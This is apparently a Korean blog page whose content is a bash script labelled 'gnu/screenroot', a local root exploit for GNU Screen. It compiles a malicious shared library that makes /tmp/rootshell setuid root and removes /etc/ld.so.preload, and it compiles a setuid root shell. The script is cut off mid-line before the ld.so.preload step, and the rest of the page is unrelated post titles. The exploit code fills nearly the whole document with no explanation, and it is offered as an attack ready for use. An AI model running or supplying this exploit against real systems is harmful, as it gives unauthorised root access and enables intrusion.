728x90
#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat > /tmp/libhax.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat > /tmp/rootshell.c << EOF
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c -Wno-implicit-function-declaration
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld
728x90
'호그와트' 카테고리의 다른 글
간단한 시뮬레이션을 구성하는 방법 (0) | 2023.01.04 |
---|---|
solidity로 토큰 만들기 (0) | 2023.01.04 |
Put my sneakers on (0) | 2023.01.03 |
2023년이 왔어요 (0) | 2023.01.03 |
쿠키 한 사바리 드시고 가유~ (2) | 2023.01.03 |